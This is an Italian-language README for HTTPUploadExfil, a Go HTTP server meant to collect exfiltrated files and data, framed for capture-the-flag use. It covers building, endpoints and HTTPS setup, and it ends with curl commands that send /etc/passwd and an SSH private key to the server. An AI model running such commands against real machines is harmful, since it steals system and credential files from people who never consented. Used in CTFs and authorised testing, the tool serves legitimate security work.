
Un semplice server HTTP per consegnare ed esfiltrare file/dati durante, ad esempio, CTF.
HTTPUploadExfil è un server HTTP (molto) semplice scritto in Go, utile per estrarre file (e altre informazioni) da una macchina tramite HTTP. Sebbene ci siano molti casi d'uso, è pensato per essere utilizzato in scenari offensivi a basso rischio (es. CTF).
Pensalo come python3 -m http.server ma per prelevare dati da una macchina invece di caricarli.
Ovviamente, questo è un modo molto rumoroso e in qualche modo limitato di esfiltrare dati. Tuttavia, è abbastanza comodo e un po' più facile rispetto, ad esempio, all'uso di SMB o FTP. Se cerchi qualcosa di più elegante, dai un'occhiata, per esempio, a dnsteal o PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot sulla tua macchina.http://YOUR_IP:1337/ sulla macchina da cui devi esfiltrare dati./home/kali/loot.Se hai bisogno di HTTPs, guarda le informazioni qui sotto.
Puoi anche scaricare i binari per Linux e Windows da GitHub. Tuttavia, questi binari non rappresentano necessariamente le modifiche più recenti.
Sebbene siano disponibili binari, è assolutamente consigliato compilarlo da soli. In questo modo avrai la versione più recente e saprai esattamente cosa stai eseguendo. Il processo è banale:
Basta eseguire go build all'interno della cartella e otterrai un eseguibile httpuploadexfil per la tua piattaforma.
Se apporti modifiche allo strumento, ricordati di formattare con go fmt main.go.
In alternativa, puoi anche usare make per compilare lo strumento. Puoi anche eseguire make cert per generare certificati SSL (vedi sotto).
Il caso d'uso più comune è eseguire il server sulla Macchina A. Quindi, sulla Macchina B accedi al modulo di upload tramite un browser e seleziona un file da esfiltrare. Ovviamente, come puoi vedere sotto, questo può essere fatto anche usando, ad esempio, curl.
Oltre a caricare file, puoi anche usare HTTPUploadExfil per esfiltrare dati tramite semplici richieste GET. Se una richiesta viene inviata all'endpoint \g, l'intera richiesta viene salvata su disco.
Quindi, puoi esfiltrare dati usando l'intestazione della richiesta. È più semplice usare i parametri GET (es. ?data=...), ma ci sono altre opzioni.

Per impostazione predefinita, HTTPUploadExfil viene servito sulla porta 8080. Tutti i file vengono scritti nella directory corrente.
./httpuploadexfil
Puoi anche fornire alcuni argomenti:
./httpuploadexfil :1337 /home/kali/loot
Se hai bisogno del logging delle richieste, passa il flag -log in questo modo:
./httpuploadexfil -log
Il primo argomento è un indirizzo di bind, il secondo è la cartella in cui salvare i file.
Lo strumento esporrà anche i file nella directory loot tramite l'endpoint /l. Questo può essere usato come un modo semplice per portare file sulla macchina di destinazione.
Il webserver espone quattro endpoint che puoi utilizzare:
/ (GET) è il modulo di upload./p (POST) riceve i dati dal modulo di upload. Richiede una richiesta multipart/form-data con il campo file compilato./g (GET) accetta qualsiasi richiesta GET e salva l'intera richiesta sul server./l (GET) fornisce accesso ai file nella cartella specificata (Directory Listing). Questo serve per fornire la funzionalità base di python3 -m http.server.HTTPUploadExfil può essere utilizzato anche in modalità HTTPs. Per farlo, basta posizionare i file HTTPUploadExfil.csr e HTTPUploadExfil.key accanto al binario. Possono essere generati, ad esempio, come segue:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Per farlo, puoi anche eseguire make cert.
Se il server vede un file HTTPUploadExfil.csr, proverà ad avviarsi in modalità HTTPs. Per tornare a HTTP, basta rimuovere o rinominare i file del certificato.
Usando Bash, possiamo esfiltrare dati tramite GET, ad esempio:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Ovviamente, possiamo anche usare curl per esfiltrare file:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)